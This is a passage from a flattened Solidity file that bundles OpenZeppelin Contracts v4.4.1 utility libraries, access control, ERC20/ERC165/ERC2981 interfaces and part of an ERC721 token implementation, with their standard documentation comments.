* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/interfaces/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/interfaces/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/interfaces/IERC2981.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
